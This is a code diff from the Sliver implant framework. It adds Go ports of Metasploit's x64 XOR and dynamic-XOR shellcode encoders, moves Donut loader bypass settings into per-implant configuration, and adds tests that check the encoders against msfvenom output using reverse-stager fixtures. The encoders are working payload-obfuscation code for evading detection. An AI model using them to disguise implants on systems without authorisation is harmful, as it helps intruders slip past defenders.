GoProxy string `json:"go_proxy" yaml:"go_proxy"`
HTTPDefaults *HttpDefaultConfig `json:"http_default" yaml:"http_default"`
DonutBypass int `json:"donut_bypass" yaml:"donut_bypass"` // 1=skip, 2=abort on fail, 3=continue on fail.
Notifications *NotificationsConfig `json:"notifications" yaml:"notifications"`
// 'GOOS/GOARCH' -> CC path
@@ -258,10 +257,6 @@ func GetServerConfig() *ServerConfig {
}
log.RootLogger.SetLevel(log.LevelFrom(config.Logs.Level))
if config.DonutBypass < 1 || config.DonutBypass > 3 {
config.DonutBypass = 1
}
err := config.Save() // This updates the config with any missing fields
if err != nil {
serverConfigLog.Errorf("Failed to save default config %s", err)
@@ -297,7 +292,6 @@ func getDefaultServerConfig() *ServerConfig {
},
},
},
DonutBypass: 3,
Notifications: defaultNotificationsConfig(),
CC: map[string]string{},
CXX: map[string]string{},
+2 -8
View File
@@ -36,7 +36,6 @@ http_default:
name: "X-Test"
value: "abc"
probability: 50
donut_bypass: 2
notifications:
enabled: true
events:
@@ -86,9 +85,6 @@ cxx:
if header.Method != "POST" || header.Name != "X-Test" || header.Value != "abc" || header.Probability != 50 {
t.Fatalf("unexpected header values: %#v", header)
}
if config.DonutBypass != 2 {
t.Fatalf("expected donut_bypass %d, got %d", 2, config.DonutBypass)
}
if config.Notifications == nil || !config.Notifications.Enabled {
t.Fatalf("expected notifications enabled")
}
@@ -159,7 +155,6 @@ func TestServerConfigMigratesLegacyJSON(t *testing.T) {
Watchtower *WatchTowerConfig `json:"watch_tower"`
GoProxy string `json:"go_proxy"`
HTTPDefaults *legacyHTTPDefaults `json:"http_default"`
DonutBypass int `json:"donut_bypass"`
CC map[string]string `json:"cc"`
CXX map[string]string `json:"cxx"`
}
@@ -193,9 +188,8 @@ func TestServerConfigMigratesLegacyJSON(t *testing.T) {
},
},
},
DonutBypass: 2,
CC: map[string]string{"linux/amd64": "/usr/bin/cc"},
CXX: map[string]string{"linux/amd64": "/usr/bin/c++"},
CC: map[string]string{"linux/amd64": "/usr/bin/cc"},
CXX: map[string]string{"linux/amd64": "/usr/bin/c++"},
}
data, err := json.MarshalIndent(legacy, "", " ")
if err != nil {
+29
View File
@@ -203,6 +203,15 @@ type ImplantConfig struct {
IsShellcode bool
RunAtLoad bool
// Donut options (Windows shellcode only)
DonutEntropy uint32
DonutCompress uint32
DonutExitOpt uint32
DonutBypass uint32
DonutHeaders uint32
DonutThread bool
DonutUnicode bool
DonutOEP uint32
HttpC2ConfigName string
NetGoEnabled bool
@@ -288,6 +297,16 @@ func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
IncludeTCP: ic.IncludeTCP,
Extension: ic.Extension,
Exports: strings.Split(ic.Exports, ","),
DonutConfig: &clientpb.DonutConfig{
Entropy: ic.DonutEntropy,
Compress: ic.DonutCompress,
ExitOpt: ic.DonutExitOpt,
Bypass: ic.DonutBypass,
Headers: ic.DonutHeaders,
Thread: ic.DonutThread,
Unicode: ic.DonutUnicode,
OEP: ic.DonutOEP,
},
}
if ic.ImplantProfileID != nil {
@@ -499,6 +518,16 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) *ImplantConfig
cfg.RunAtLoad = pbConfig.RunAtLoad
cfg.DebugFile = pbConfig.DebugFile
cfg.Exports = strings.Join(pbConfig.Exports, ",")
if pbConfig.DonutConfig != nil {
cfg.DonutEntropy = pbConfig.DonutConfig.Entropy
cfg.DonutCompress = pbConfig.DonutConfig.Compress
cfg.DonutExitOpt = pbConfig.DonutConfig.ExitOpt
cfg.DonutBypass = pbConfig.DonutConfig.Bypass
cfg.DonutHeaders = pbConfig.DonutConfig.Headers
cfg.DonutThread = pbConfig.DonutConfig.Thread
cfg.DonutUnicode = pbConfig.DonutConfig.Unicode
cfg.DonutOEP = pbConfig.DonutConfig.OEP
}
cfg.HttpC2ConfigName = pbConfig.HTTPC2ConfigName
cfg.NetGoEnabled = pbConfig.NetGoEnabled
-5
View File
@@ -23,7 +23,6 @@ import (
"crypto/rand"
insecureRand "math/rand"
"testing"
"time"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
util "github.com/bishopfox/sliver/util/encoders"
@@ -33,10 +32,6 @@ const (
sampleSizeMax = 8192
)
func init() {
insecureRand.Seed(time.Now().Unix())
}
func randomDataRandomSize(maxSize int) []byte {
buf := make([]byte, insecureRand.Intn(maxSize))
rand.Read(buf)
+47
View File
@@ -0,0 +1,47 @@
package amd64
import (
"crypto/rand"
"fmt"
)
const xorDynamicKeySize = 8
// XorKeyGen returns a random key suitable for the XOR encoder.
func XorKeyGen() ([]byte, error) {
return randomBytes(xorKeySize)
}
// XorDynamicKeyGen returns a random key suitable for the XOR dynamic encoder.
func XorDynamicKeyGen() ([]byte, error) {
return randomBytesFiltered(xorDynamicKeySize, xorDynamicBadchars)
}
func randomBytes(length int) ([]byte, error) {
if length <= 0 {
return nil, fmt.Errorf("invalid random length %d", length)
}
buf := make([]byte, length)
if _, err := rand.Read(buf); err != nil {
return nil, err
}
return buf, nil
}
func randomBytesFiltered(length int, badchars map[byte]bool) ([]byte, error) {
if length <= 0 {
return nil, fmt.Errorf("invalid random length %d", length)
}
buf := make([]byte, length)
for i := range buf {
for {
if _, err := rand.Read(buf[i : i+1]); err != nil {
return nil, err
}
if !badchars[buf[i]] {
break
}
}
}
return buf, nil
}
Binary file not shown.
Binary file not shown.
+133
View File
@@ -0,0 +1,133 @@
package amd64
/*
Sliver Implant Framework
Copyright (C) 2026 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
------------------------------------------------------------------------
Based on the Metasploit x64/xor encoder by [email protected]
*/
import (
"bytes"
"encoding/binary"
"fmt"
"strings"
"github.com/moloch--/go-keystone"
)
const (
xorKeySize = 8
xorBlockSize = 8
decoderPayloadSize = 0x27
)
// Xor encodes an amd64 payload using the Metasploit x64/xor scheme.
func Xor(data []byte, key []byte) ([]byte, error) {
if len(data) == 0 {
return nil, fmt.Errorf("xor encoder: empty payload")
}
if len(key) != xorKeySize {
return nil, fmt.Errorf("xor encoder: invalid key length %d", len(key))
}
blockCount := (len(data) + xorBlockSize - 1) / xorBlockSize
if blockCount <= 0 {
return nil, fmt.Errorf("xor encoder: invalid block count %d", blockCount)
}
paddedLen := blockCount * xorBlockSize
encoded := make([]byte, paddedLen)
copy(encoded, data)
for i := 0; i < paddedLen; i += xorBlockSize {
for j := 0; j < xorKeySize; j++ {
encoded[i+j] ^= key[j]
}
}
stub, err := buildDecoderStub(blockCount, key)
if err != nil {
return nil, err
}
return append(stub, encoded...), nil
}
func buildDecoderStub(blockCount int, key []byte) ([]byte, error) {
engine, err := keystone.NewEngine(keystone.ARCH_X86, keystone.MODE_64)
if err != nil {
return nil, err
}
defer func() { _ = engine.Close() }()
err = engine.Option(keystone.OPT_SYNTAX, keystone.OPT_SYNTAX_INTEL)
if err != nil {
return nil, err
}
src := strings.Join([]string{
".code64",
"xor rcx, rcx",
"sub rcx, 0x81",
"lea rax, [rip - 0x11]",
"mov rbx, 0x1122334455667788",
"decode:",
"xor qword ptr [rax + 0x27], rbx",
"sub rax, 0x80",
"loop decode",
}, "\n")
inst, err := engine.Assemble(src, 0)
if err != nil {
return nil, err
}
if len(inst) != decoderPayloadSize {
return nil, fmt.Errorf("xor encoder: unexpected decoder stub length %d", len(inst))
}
blockValue := uint32(int32(-blockCount))
if err := patchImm32(inst, []byte{0x48, 0x81, 0xE9}, blockValue); err != nil {
return nil, err
}
keyOffset := bytes.Index(inst, []byte{0x48, 0xBB})
if keyOffset == -1 || keyOffset+10 > len(inst) {
return nil, fmt.Errorf("xor encoder: failed to locate key offset")
}
copy(inst[keyOffset+2:keyOffset+10], key)
if err := patchImm32(inst, []byte{0x48, 0x2D}, 0xFFFFFFF8); err != nil {
return nil, err
}
return inst, nil
}
func patchImm32(stub []byte, opcode []byte, value uint32) error {
offset := bytes.Index(stub, opcode)
if offset == -1 {
return fmt.Errorf("xor encoder: opcode %x not found", opcode)
}
offset += len(opcode)
if offset+4 > len(stub) {
return fmt.Errorf("xor encoder: opcode %x out of range", opcode)
}
binary.LittleEndian.PutUint32(stub[offset:offset+4], value)
return nil
}
@@ -0,0 +1,283 @@
package amd64
/*
Sliver Implant Framework
Copyright (C) 2026 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
------------------------------------------------------------------------
Based on the Metasploit x64/xor_dynamic encoder by lupman, phra
*/
import (
"bytes"
"fmt"
"strings"
"github.com/moloch--/go-keystone"
)
const (
xorDynamicKeyPlaceholder = 0x41
xorDynamicPayloadPlaceholder = 0x42
xorDynamicStubSize = 46
)
var xorDynamicBadchars = map[byte]bool{
0x00: true,
0x0a: true,
0x0d: true,
}
// XorDynamic encodes an amd64 payload using the Metasploit x64/xor_dynamic scheme.
// If key includes a trailing key terminator + payload terminator (3 bytes) that satisfy the
// encoder constraints, those are used verbatim.
func XorDynamic(data []byte, key []byte) ([]byte, error) {
if len(data) == 0 {
return nil, fmt.Errorf("xor_dynamic encoder: empty payload")
}
if len(key) == 0 {
return nil, fmt.Errorf("xor_dynamic encoder: empty key")
}
coreKey := key
var keyTerm byte
var payloadTerm []byte
encoded := xorDynamicEncode(data, key)
explicit := false
if candidateKey, candidateKeyTerm, candidatePayloadTerm, ok := splitExplicitTerms(data, key); ok {
coreKey = candidateKey
keyTerm = candidateKeyTerm
payloadTerm = candidatePayloadTerm
encoded = xorDynamicEncode(data, coreKey)
explicit = true
}
if containsBadchars(coreKey, xorDynamicBadchars) {
return nil, fmt.Errorf("xor_dynamic encoder: key contains badchars")
}
if !explicit {
var err error
keyTerm, err = selectKeyTerm(coreKey)
if err != nil {
return nil, err
}
payloadTerm, err = selectPayloadTerm(encoded)
if err != nil {
return nil, err
}
} else {
if bytes.IndexByte(coreKey, keyTerm) != -1 {
return nil, fmt.Errorf("xor_dynamic encoder: key contains key terminator")
}
if bytes.Contains(encoded, payloadTerm) {
return nil, fmt.Errorf("xor_dynamic encoder: encoded payload contains payload terminator")
}
}
stub, err := buildXorDynamicStub(keyTerm, payloadTerm)
if err != nil {
return nil, err
}
final := make([]byte, 0, len(stub)+len(coreKey)+1+len(encoded)+len(payloadTerm))
final = append(final, stub...)
final = append(final, coreKey...)
final = append(final, keyTerm)
final = append(final, encoded...)
final = append(final, payloadTerm...)
if containsBadchars(final, xorDynamicBadchars) {
return nil, fmt.Errorf("xor_dynamic encoder: badchars present in output")
}
return final, nil
}
func xorDynamicEncode(data []byte, key []byte) []byte {
encoded := make([]byte, len(data))
for i := range data {
encoded[i] = data[i] ^ key[i%len(key)]
}
return encoded
}
func splitExplicitTerms(data []byte, key []byte) ([]byte, byte, []byte, bool) {
if len(key) < 4 {
return nil, 0, nil, false
}
candidateKey := key[:len(key)-3]
if len(candidateKey) == 0 {
return nil, 0, nil, false
}
keyTerm := key[len(key)-3]
payloadTerm := key[len(key)-2:]
if xorDynamicBadchars[keyTerm] || xorDynamicBadchars[payloadTerm[0]] || xorDynamicBadchars[payloadTerm[1]] {
return nil, 0, nil, false
}
if bytes.IndexByte(candidateKey, keyTerm) != -1 {
return nil, 0, nil, false
}
if containsBadchars(candidateKey, xorDynamicBadchars) {
return nil, 0, nil, false
}
encoded := xorDynamicEncode(data, candidateKey)
if bytes.Contains(encoded, payloadTerm) {
return nil, 0, nil, false
}
return candidateKey, keyTerm, append([]byte{}, payloadTerm...), true
}
func selectKeyTerm(key []byte) (byte, error) {
for _, b := range allowedDynamicChars() {
if bytes.IndexByte(key, b) == -1 {
return b, nil
}
}
return 0, fmt.Errorf("xor_dynamic encoder: key terminator not found")
}
func selectPayloadTerm(encoded []byte) ([]byte, error) {
allowed := allowedDynamicChars()
for _, first := range allowed {
for _, second := range allowed {
term := []byte{first, second}
if !bytes.Contains(encoded, term) {
return term, nil
}
}
}
return nil, fmt.Errorf("xor_dynamic encoder: payload terminator not found")
}
func allowedDynamicChars() []byte {
allowed := make([]byte, 0, 255)
for i := 1; i <= 255; i++ {
b := byte(i)
if xorDynamicBadchars[b] {
continue
}
allowed = append(allowed, b)
}
return allowed
}
func buildXorDynamicStub(keyTerm byte, payloadTerm []byte) ([]byte, error) {
if len(payloadTerm) != 2 {
return nil, fmt.Errorf("xor_dynamic encoder: payload terminator must be 2 bytes")
}
engine, err := keystone.NewEngine(keystone.ARCH_X86, keystone.MODE_64)
if err != nil {
return nil, err
}
defer func() { _ = engine.Close() }()
if err := engine.Option(keystone.OPT_SYNTAX, keystone.OPT_SYNTAX_INTEL); err != nil {
return nil, err
}
src := strings.Join([]string{
".code64",
"jmp _call",
"_ret:",
"pop rbx",
"push rbx",
"pop rdi",
"mov al, 0x41",
"cld",
"_lp1:",
"scasb",
"jne _lp1",
"push rdi",
"pop rcx",
"_lp2:",
"push rbx",
"pop rsi",
"_lp3:",
"mov al, byte ptr [rsi]",
"xor byte ptr [rdi], al",
"inc rdi",
"inc rsi",
"cmp word ptr [rdi], 0x4242",
"je _jmp",
"cmp byte ptr [rsi], 0x41",
"jne _lp3",
"jmp _lp2",
"_jmp:",
"jmp rcx",
"_call:",
"call _ret",
}, "\n")
inst, err := engine.Assemble(src, 0)
if err != nil {
return nil, err
}
if len(inst) != xorDynamicStubSize {
return nil, fmt.Errorf("xor_dynamic encoder: unexpected stub length %d", len(inst))
}
keyReplaced := 0
for i := range inst {
if inst[i] == xorDynamicKeyPlaceholder {
inst[i] = keyTerm
keyReplaced++
}
}
if keyReplaced == 0 {
return nil, fmt.Errorf("xor_dynamic encoder: key placeholder not found")
}
payloadReplaced := 0
for i := 0; i+1 < len(inst); i++ {
if inst[i] == xorDynamicPayloadPlaceholder && inst[i+1] == xorDynamicPayloadPlaceholder {
inst[i] = payloadTerm[0]
inst[i+1] = payloadTerm[1]
payloadReplaced++
i++
}
}
if payloadReplaced == 0 {
return nil, fmt.Errorf("xor_dynamic encoder: payload placeholder not found")
}
if containsBadchars(inst, xorDynamicBadchars) {
return nil, fmt.Errorf("xor_dynamic encoder: badchars present in stub")
}
return inst, nil
}
func containsBadchars(data []byte, badchars map[byte]bool) bool {
for _, b := range data {
if badchars[b] {
return true
}
}
return false
}
@@ -0,0 +1,126 @@
package amd64
import (
"bytes"
"fmt"
"io/fs"
"os/exec"
"path/filepath"
"testing"
)
func TestXorDynamicEncoderMatchesMSFVenom(t *testing.T) {
if _, err := exec.LookPath("msfvenom"); err != nil {
t.Skipf("msfvenom not available: %v", err)
}
if !keystoneAvailable() {
t.Skip("keystone assembler not available")
}
fixtures, err := fs.Glob(xorFixtures, "testdata/*.bin")
if err != nil {
t.Fatalf("failed to list fixtures: %v", err)
}
if len(fixtures) == 0 {
t.Fatal("no xor fixtures found")
}
home := t.TempDir()
primeMSFVenom(t, home)
for _, name := range fixtures {
name := name
t.Run(filepath.Base(name), func(t *testing.T) {
payload, err := xorFixtures.ReadFile(name)
if err != nil {
t.Fatalf("failed to read fixture %s: %v", name, err)
}
if len(payload) == 0 {
t.Fatalf("fixture %s is empty", name)
}
platform, err := platformFromFixture(name)
if err != nil {
t.Fatalf("fixture %s: %v", name, err)
}
msfEncoded := msfvenomEncode(t, home, payload, platform, "x64/xor_dynamic")
key, keyTerm, payloadTerm, err := extractXorDynamicParams(msfEncoded)
if err != nil {
t.Fatalf("fixture %s: %v", name, err)
}
keyWithTerms := make([]byte, 0, len(key)+3)
keyWithTerms = append(keyWithTerms, key...)
keyWithTerms = append(keyWithTerms, keyTerm)
keyWithTerms = append(keyWithTerms, payloadTerm...)
encoded, err := XorDynamic(payload, keyWithTerms)
if err != nil {
t.Fatalf("fixture %s: XorDynamic failed: %v", name, err)
}
if !bytes.Equal(encoded, msfEncoded) {
diff := firstDiff(encoded, msfEncoded)
t.Fatalf("fixture %s: output mismatch at byte %d (got=%d, msf=%d)", name, diff, len(encoded), len(msfEncoded))
}
})
}
}
func extractXorDynamicParams(encoded []byte) ([]byte, byte, []byte, error) {
if len(encoded) < xorDynamicStubSize+3 {
return nil, 0, nil, fmt.Errorf("xor_dynamic output too short")
}
stub := encoded[:xorDynamicStubSize]
keyTerm, payloadTerm, err := extractXorDynamicTerms(stub)
if err != nil {
return nil, 0, nil, err
}
rest := encoded[xorDynamicStubSize:]
keyEnd := bytes.IndexByte(rest, keyTerm)
if keyEnd == -1 {
return nil, 0, nil, fmt.Errorf("xor_dynamic: key terminator not found in payload")
}
key := rest[:keyEnd]
if len(key) == 0 {
return nil, 0, nil, fmt.Errorf("xor_dynamic: empty key in payload")
}
if len(rest) < keyEnd+1+2 {
return nil, 0, nil, fmt.Errorf("xor_dynamic: payload missing terminator")
}
if len(rest) < 2 || !bytes.HasSuffix(rest, payloadTerm) {
return nil, 0, nil, fmt.Errorf("xor_dynamic: payload terminator mismatch")
}
return key, keyTerm, payloadTerm, nil
}
func extractXorDynamicTerms(stub []byte) (byte, []byte, error) {
movIdx := bytes.Index(stub, []byte{0xB0})
if movIdx == -1 || movIdx+1 >= len(stub) {
return 0, nil, fmt.Errorf("xor_dynamic: mov al not found in stub")
}
keyTerm := stub[movIdx+1]
cmpIdx := bytes.Index(stub, []byte{0x80, 0x3E})
if cmpIdx == -1 || cmpIdx+2 >= len(stub) {
return 0, nil, fmt.Errorf("xor_dynamic: cmp byte not found in stub")
}
if stub[cmpIdx+2] != keyTerm {
return 0, nil, fmt.Errorf("xor_dynamic: stub key terminator mismatch")
}
termIdx := bytes.Index(stub, []byte{0x66, 0x81, 0x3F})
if termIdx == -1 || termIdx+4 >= len(stub) {
return 0, nil, fmt.Errorf("xor_dynamic: cmp word not found in stub")
}
payloadTerm := []byte{stub[termIdx+3], stub[termIdx+4]}
return keyTerm, payloadTerm, nil
}
+172
View File
@@ -0,0 +1,172 @@
package amd64
import (
"bytes"
"embed"
"fmt"
"io/fs"
"os"
"os/exec"
"path/filepath"
"strings"
"testing"
"github.com/moloch--/go-keystone"
)
//go:embed testdata/*.bin
var xorFixtures embed.FS
func TestXorEncoderMatchesMSFVenom(t *testing.T) {
if _, err := exec.LookPath("msfvenom"); err != nil {
t.Skipf("msfvenom not available: %v", err)
}
if !keystoneAvailable() {
t.Skip("keystone assembler not available")
}
fixtures, err := fs.Glob(xorFixtures, "testdata/*.bin")
if err != nil {
t.Fatalf("failed to list fixtures: %v", err)
}
if len(fixtures) == 0 {
t.Fatal("no xor fixtures found")
}
home := t.TempDir()
primeMSFVenom(t, home)
for _, name := range fixtures {
name := name
t.Run(filepath.Base(name), func(t *testing.T) {
payload, err := xorFixtures.ReadFile(name)
if err != nil {
t.Fatalf("failed to read fixture %s: %v", name, err)
}
if len(payload) == 0 {
t.Fatalf("fixture %s is empty", name)
}
platform, err := platformFromFixture(name)
if err != nil {
t.Fatalf("fixture %s: %v", name, err)
}
msfEncoded := msfvenomEncode(t, home, payload, platform, "x64/xor")
key, err := extractMSFKey(msfEncoded)
if err != nil {
t.Fatalf("fixture %s: %v", name, err)
}
encoded, err := Xor(payload, key)
if err != nil {
t.Fatalf("fixture %s: Xor failed: %v", name, err)
}
if !bytes.Equal(encoded, msfEncoded) {
diff := firstDiff(encoded, msfEncoded)
t.Fatalf("fixture %s: output mismatch at byte %d (got=%d, msf=%d)", name, diff, len(encoded), len(msfEncoded))
}
})
}
}
func keystoneAvailable() bool {
engine, err := keystone.NewEngine(keystone.ARCH_X86, keystone.MODE_64)
if err != nil {
return false
}
_ = engine.Close()
return true
}
func msfvenomEncode(t *testing.T, home string, payload []byte, platform string, encoder string) []byte {
t.Helper()
outFile, err := os.CreateTemp(home, "msf-xor-*.bin")
if err != nil {
t.Fatalf("msfvenom temp file: %v", err)
}
outPath := outFile.Name()
_ = outFile.Close()
defer func() { _ = os.Remove(outPath) }()
cmd := exec.Command("msfvenom",
"-p", "-",
"-a", "x64",
"--platform", platform,
"-e", encoder,
"-i", "1",
"-f", "raw",
"-o", outPath,
)
cmd.Env = append(os.Environ(), "HOME="+home)
cmd.Stdin = bytes.NewReader(payload)
var stderr bytes.Buffer
cmd.Stderr = &stderr
if err := cmd.Run(); err != nil {
t.Fatalf("msfvenom failed: %v (stderr=%s)", err, strings.TrimSpace(stderr.String()))
}
encoded, err := os.ReadFile(outPath)
if err != nil {
t.Fatalf("msfvenom read output: %v", err)
}
if len(encoded) == 0 {
t.Fatalf("msfvenom produced empty output (stderr=%s)", strings.TrimSpace(stderr.String()))
}
return encoded
}
func primeMSFVenom(t *testing.T, home string) {
t.Helper()
cmd := exec.Command("msfvenom", "-l", "encoders")
cmd.Env = append(os.Environ(), "HOME="+home)
cmd.Stdin = bytes.NewReader(nil)
var stderr bytes.Buffer
var stdout bytes.Buffer
cmd.Stdout = &stdout
cmd.Stderr = &stderr
if err := cmd.Run(); err != nil {
t.Fatalf("msfvenom init failed: %v (stderr=%s)", err, strings.TrimSpace(stderr.String()))
}
}
func extractMSFKey(encoded []byte) ([]byte, error) {
keyOffset := bytes.Index(encoded, []byte{0x48, 0xBB})
if keyOffset == -1 || keyOffset+10 > len(encoded) {
return nil, fmt.Errorf("failed to locate xor key in msf output")
}
key := make([]byte, xorKeySize)
copy(key, encoded[keyOffset+2:keyOffset+10])
return key, nil
}
func platformFromFixture(name string) (string, error) {
base := filepath.Base(name)
switch {
case strings.HasPrefix(base, "linux-"):
return "linux", nil
case strings.HasPrefix(base, "windows-"):
return "windows", nil
default:
return "", fmt.Errorf("unknown platform for fixture %s", base)
}
}
func firstDiff(a, b []byte) int {
min := len(a)
if len(b) < min {
min = len(b)
}
for i := 0; i < min; i++ {
if a[i] != b[i] {
return i
}
}
return min
}
@@ -1,4 +1,4 @@
# server/sgn
# server/encoders/shellcode/sgn
## Overview
@@ -27,7 +27,7 @@ These options mirror the upstream CLI flags so server-side tasks can reuse the s
Shellcode fixtures used by the unit tests live under `testdata/` with a `.bin` extension. They are produced via `msfvenom` using a dedicated Go generator:
```bash
go generate ./server/sgn
go generate ./server/encoders/shellcode/sgn
```
The generator invokes `msfvenom` three times (reverse TCP/HTTP stagers and an exec payload) and writes raw shellcode into the `testdata` directory. Ensure the Metasploit framework is installed and `msfvenom` is on `$PATH` before running the generation step.
@@ -40,7 +40,7 @@ The log subsystem expects a writable Sliver root directory. Point it to a tempor
export SLIVER_ROOT_DIR=$(pwd)/.tmp-sliver
export GOCACHE=$(pwd)/.tmp-gocache
mkdir -p "$SLIVER_ROOT_DIR" "$GOCACHE"
go test ./server/sgn
go test ./server/encoders/shellcode/sgn
```
The test suite focuses on option wiring and constraint helpers rather than the full stochastic encoding pipeline.
File renamed without changes.
File renamed without changes.
@@ -37,8 +37,6 @@ var (
// SGNConfig - Configuration for sgn
type SGNConfig struct {
AppDir string
Architecture string // Binary architecture (32/64) (default 32)
Asci bool // Generates a full ASCI printable payload (takes very long time to bruteforce)
BadChars []byte // Don't use specified bad characters given in hex format (\x00\x01\x02...)
File renamed without changes.
+99
View File
@@ -0,0 +1,99 @@
package shellcode
import (
"github.com/bishopfox/sliver/server/encoders/shellcode/amd64"
"github.com/bishopfox/sliver/server/encoders/shellcode/sgn"
)
type ShellcodeEncoderArgs struct {
Iterations int
BadChars []byte
}
type ShellcodeEncoder interface {
Description() string
Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error)
}
type XorEncoder struct{}
func (e *XorEncoder) Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error) {
iterations := args.Iterations
if iterations <= 0 {
iterations = 1
}
for i := 0; i < iterations; i++ {
key, err := amd64.XorKeyGen()
if err != nil {
return nil, err
}
encoded, err := amd64.Xor(data, key)
if err != nil {
return nil, err
}
data = encoded
}
return data, nil
}
func (e *XorEncoder) Description() string {
return "Basic XOR encoder for AMD64"
}
type XorDynamicEncoder struct{}
func (e *XorDynamicEncoder) Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error) {
iterations := args.Iterations
if iterations <= 0 {
iterations = 1
}
for i := 0; i < iterations; i++ {
key, err := amd64.XorDynamicKeyGen()
if err != nil {
return nil, err
}
encoded, err := amd64.XorDynamic(data, key)
if err != nil {
return nil, err
}
data = encoded
}
return data, nil
}
func (e *XorDynamicEncoder) Description() string {
return "An x64 XOR encoder with dynamic key size for AMD64"
}
type ShikataGaNaiEncoderAmd64 struct{}
func (e *ShikataGaNaiEncoderAmd64) Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error) {
return sgn.EncodeShellcode(data, "amd64", args.Iterations, args.BadChars)
}
func (e *ShikataGaNaiEncoderAmd64) Description() string {
return "Shikata Ga Nai encoder for AMD64"
}
type ShikataGaNaiEncoder386 struct{}
func (e *ShikataGaNaiEncoder386) Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error) {
return sgn.EncodeShellcode(data, "386", args.Iterations, args.BadChars)
}
func (e *ShikataGaNaiEncoder386) Description() string {
return "Shikata Ga Nai encoder for 386"
}
var (
ShellcodeEncoders = map[string]map[string]ShellcodeEncoder{
"amd64": {
"xor": &XorEncoder{},
"xor_dynamic": &XorDynamicEncoder{},
"shikata_ga_nai": &ShikataGaNaiEncoderAmd64{},
},
"386": {
"shikata_ga_nai": &ShikataGaNaiEncoder386{},
},
}
)
+1 -1
View File
@@ -9,7 +9,7 @@ Server-side code generation and scaffolding utilities. Automates creation of boi
- `binaries.go` – Generates binary artifacts and handles output formatting.
- `binaries_test.go` *(tests)* – Tests binary generation workflows.
- `canaries.go` – Generates DNS canary assets and configuration.
- `donut.go` – Integrates with Donut to build .NET loaders.
- `donut.go` – Integrates with wasm-donut to build .NET loaders.
- `external.go` – Coordinates external builder invocations.
- `implants.go` – Generates implant binaries from configs.
- `profiles.go` – Creates implant profiles and configuration templates.
+1 -1
View File
@@ -183,7 +183,7 @@ func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb
if err != nil {
return "", err
}
shellcode, err := DonutShellcodeFromFile(dest, config.GOARCH, false, "", "", "")
shellcode, err := DonutShellcodeFromFile(dest, config.GOARCH, false, "", "", "", config.DonutConfig)
if err != nil {
return "", err
}
+1 -1
View File
@@ -28,7 +28,7 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/configs"
"github.com/bishopfox/sliver/server/sgn"
"github.com/bishopfox/sliver/server/encoders/shellcode/sgn"
)
var (
+117 -100
View File
@@ -1,142 +1,159 @@
package generate
import (
"bytes"
"context"
"os"
"path/filepath"
"strings"
"github.com/Binject/go-donut/donut"
"github.com/bishopfox/sliver/server/configs"
"github.com/bishopfox/sliver/protobuf/clientpb"
wasmdonut "github.com/sliverarmory/wasm-donut"
)
const (
defaultDonutEntropy = wasmdonut.DonutEntropyNone
defaultDonutCompress = wasmdonut.DonutCompressNone
defaultDonutExitOpt = wasmdonut.DonutExitThread
defaultDonutBypass = wasmdonut.DonutBypassContinue
defaultDonutHeaders = wasmdonut.DonutHeadersOverwrite
)
// DonutShellcodeFromFile returns a Donut shellcode for the given PE file
func DonutShellcodeFromFile(filePath string, arch string, dotnet bool, params string, className string, method string) (data []byte, err error) {
func DonutShellcodeFromFile(filePath string, arch string, dotnet bool, params string, className string, method string, donutConfig *clientpb.DonutConfig) (data []byte, err error) {
pe, err := os.ReadFile(filePath)
if err != nil {
return
}
isDLL := (filepath.Ext(filePath) == ".dll")
return DonutShellcodeFromPE(pe, arch, dotnet, params, className, method, isDLL, false, true)
return DonutShellcodeFromPE(pe, arch, dotnet, params, className, method, isDLL, false, true, donutConfig)
}
// DonutShellcodeFromPE returns a Donut shellcode for the given PE file
func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, className string, method string, isDLL bool, isUnicode bool, createNewThread bool) (data []byte, err error) {
func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, className string, method string, isDLL bool, isUnicode bool, createNewThread bool, donutConfig *clientpb.DonutConfig) (data []byte, err error) {
ext := ".exe"
if isDLL {
ext = ".dll"
}
var isUnicodeVar uint32
if isUnicode {
isUnicodeVar = 1
}
thread := uint32(0)
if createNewThread {
thread = 1
}
serverConf := configs.GetServerConfig()
_ = dotnet
donutOpts := normalizeDonutConfig(donutConfig, createNewThread, isUnicode)
donutArch := getDonutArch(arch)
// We don't use DonutConfig.Thread = 1 because we create our own remote thread
// in the task runner, and we're doing some housekeeping on it.
// Having DonutConfig.Thread = 1 means another thread will be created
// inside the one we created, and that will fuck up our monitoring
// since we can't grab a handle to the thread created by the Donut loader,
// and thus the waitForCompletion call will most of the time never complete.
config := donut.DonutConfig{
Type: getDonutType(ext, false),
InstType: donut.DONUT_INSTANCE_PIC,
Parameters: params,
Class: className,
Method: method,
Bypass: serverConf.DonutBypass, // 1=skip, 2=abort on fail, 3=continue on fail.
Format: uint32(1), // 1=raw, 2=base64, 3=c, 4=ruby, 5=python, 6=powershell, 7=C#, 8=hex
Arch: donutArch,
Entropy: 0, // 1=disable, 2=use random names, 3=random names + symmetric encryption (default)
Compress: uint32(1), // 1=disable, 2=LZNT1, 3=Xpress, 4=Xpress Huffman
ExitOpt: 1, // exit thread
Unicode: isUnicodeVar,
Thread: thread,
